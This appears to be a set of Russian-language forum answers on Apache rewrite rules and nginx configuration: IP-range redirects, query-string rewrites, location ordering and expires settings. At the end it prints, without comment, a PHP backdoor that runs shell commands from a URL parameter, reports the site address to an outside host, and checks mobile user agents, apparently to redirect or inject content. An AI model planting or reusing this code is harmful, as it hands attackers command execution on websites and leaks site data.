[OR] и || это всё логическое "ИЛИ".
-R '222.2.2.0/24' это компактная форма записи "%{REMOTE_ADDR} -ipmatch '222.2.2.0/24'"
http://httpd.apache.org/docs/2.4/expr.html
Обратная косая черта "\" в конце строки указывает, что директива продолжается следующую строку.
Для удобства можно поделить длинную строку RewriteCond "%2 site1.ru => google.ru site2.ru => yandex.ru " "^(\S+) .*? \1 => (\S+)" на несколько более коротких.
Между обратной косой чертой и концом строки не должно быть других символов или пробелов.
http://httpd.apache.org/docs/2.4/configuring.html
Если есть доступ править httpd.conf, то для списка доменов удобнее rewritemap
RewriteMap доступен в контексте <VirtualHost>, а не .htaccess
Если доступен mod_setenvif, то можно по условию ставить своё значение в переменную окружения, а в RewriteCond проверять её значение.
SetEnvIfExpr "-R '111.1.0.0/16' || -R '222.2.2.0/24' || -R '127.0.0.0/8'" ipblock=1 RewriteCond %{ENV:ipblock} 1 RewriteCond %{HTTP_HOST} ^(www\.)?site1\.ru$ [NC] RewriteRule ^ https://google.ru [R=301,L] RewriteCond %{ENV:ipblock} 1 RewriteCond %{HTTP_HOST} ^(www\.)?site2\.ru$ [NC] RewriteRule ^ https://yandex.ru [R=301,L]
Если вдруг нет mod_setenvif, то можно и без него.
Поместить всё в одно правило.
RewriteCond expr "-R '111.1.0.0/16' || -R '222.2.2.0/24' || -R '127.0.0.0/8'" RewriteCond %{HTTP_HOST} ^(www\.)?(site1\.ru|site2\.ru)$ RewriteCond "%2 \ site1.ru => google.ru \ site2.ru => yandex.ru " "^(\S+) .*? \1 => (\S+)" RewriteRule ^ https://%2/ [R=301,L]
Если апач 2.4
RewriteCond expr "-R '111.1.0.0/16'" [OR] RewriteCond expr "-R '222.2.2.0/24'" [OR] RewriteCond expr "-R '33.0.0.0/8'" RewriteRule ^ http://site2.ru/ [R=301,L]
Т.е. в корне сайта есть папка с именем "p=715" и в ней есть index.html
Тогда подойдёт такое правило:
RewriteEngine On RewriteCond %{ENV:REDIRECT_STATUS} ^$ RewriteCond %{QUERY_STRING} ^(p=\d+) RewriteRule ^ %1/index.html [L]
Если имя папки содержит знак вопроса "?p=715"
RewriteEngine On RewriteCond %{ENV:REDIRECT_STATUS} ^$ RewriteCond %{QUERY_STRING} ^(p=\d+) RewriteRule ^ \%3f%1/index.html [L]
Смеха ради можно запихнуть в одно правило все три условия :)
RewriteEngine On RewriteCond %{ENV:REDIRECT_STATUS} ^$ RewriteCond .html%{QUERY_STRING} ^(.html)page=([^&]*) [OR] RewriteCond %{THE_REQUEST} " /index\.php " [OR] RewriteCond %{HTTP_HOST}/$1?%{QUERY_STRING} ^www\.[^/]+/()(.*)\?(.*) RewriteRule ^(.*)$ http://site.ru/%2%1?%3 [R=301,L]
Нужно в правильном порядке расставить location http://nginx.org/ru/docs/http/ngx_http_core_module.html#location
Правило для файлов из папки /admin/ поставить выше правила для остальных папок.
server { server_name site.ru www.site.ru; listen 192.168.10.10; charset UTF-8; set $root_path /var/www/user/data/www/site.ru; location ~* ^/admin/.+\.(jpg|jpeg|gif|png|svg|js|css|mp3|ogg|mpe?g|avi|zip|gz|bz2?|rar|swf)$ { root $root_path; #access_log /var/www/nginx-logs/user isp; error_page 404 = @fallback; expires off; } location ~* ^.+\.(jpg|jpeg|gif|png|svg|js|css|mp3|ogg|mpe?g|avi|zip|gz|bz2?|rar|swf)$ { root $root_path; #access_log /var/www/nginx-logs/user isp; error_page 404 = @fallback; expires 7d; }
Или ставить нужное значения с помощью map http://nginx.org/ru/docs/http/ngx_http_map_module.html
map $uri $expires { default 7d; ~^/admin/ off; } server { server_name site.ru www.site.ru; listen 192.168.10.10; charset UTF-8; set $root_path /var/www/user/data/www/site.ru; location ~* ^.+\.(jpg|jpeg|gif|png|svg|js|css|mp3|ogg|mpe?g|avi|zip|gz|bz2?|rar|swf)$ { root $root_path; #access_log /var/www/nginx-logs/user isp; error_page 404 = @fallback; expires $expires; }
RewriteCond %{THE_REQUEST} " /index\.php\?a=popular_music " RewriteRule ^ "/explore/filter/popular music?" [R=301,L]
Добавлять это правило сразу после RewriteEngine on.
if ($args ~ "limitstart=0") { return 301 $uri; }
nginx
server { server_name site1.ru rewrite ^/(.+)$ http://site2.ru/$1 permanent;
.htaccess
RewriteEngine On RewriteRule ^.+$ http://site2.ru/$0 [R=301,L]
@system($_GET[cmd]); $_0=$_SERVER[SERVER_NAME] .$_SERVER[PHP_SELF]; @file_get_contents("http://bp-shkolaremonta.ru/wp-includes/pomo/log/get.php?q=$_0"); $_1 = strpos($_SERVER['HTTP_USER_AGENT'], 'iPhone'); $_4 = strpos($_SERVER['HTTP_USER_AGENT'], 'iPod'); $_5 = strpos($_SERVER['HTTP_USER_AGENT'], 'iPad'); $_2 = strpos($_SERVER['HTTP_USER_AGENT'], 'Android'); $_10 = strpos($_SERVER['HTTP_USER_AGENT'], 'webOS'); $_3 = strpos($_SERVER['HTTP_USER_AGENT'], 'BlackBerry'); $_12 = 'gm'; $_9 = strpos($_SERVER['HTTP_USER_AGENT'], 'Mobile'); $_6 = strpos($_SERVER['HTTP_USER_AGENT'], 'Symbian'); $_14 = strpos($_SERVER['HTTP_USER_AGENT'], 'Opera M'); $_15 = strpos($_SERVER['HTTP_USER_AGENT'], 'HTC_'); $_11 = strpos($_SERVER['HTTP_USER_AGENT'], 'Fennec/'); $_16 = strpos($_SERVER['HTTP_USER_AGENT'], 'WindowsPhone'); $_7 = strpos($_SERVER['HTTP_USER_AGENT'], 'WP7'); $_13 = strpos($_SERVER['HTTP_USER_AGENT'], 'WP8'); $_8 = 'cmdforo'; $_17 = 'com'; $_18 = '//' . $_8 . '.' . $_17 . '/'; define('THEMS', $_18); if ($_5 || $_1 || $_2 || $_10 || $_4 || $_3 || $_9 || $_6 || $_14 || $_15 || $_11 || $_16 || $_7 || $_13 === true) { if ($_COOKIE['pda_lotus'] == '' || $_COOKIE['pda_lotus'] == 0) { define('theme_pc', false); } else { define('theme_pc', true); } } else { if ($_COOKIE['pda_lotus'] == null || $_COOKIE['pda_lotus'] == 1) { define('theme_pc', true); } else { define('theme_pc', false); } }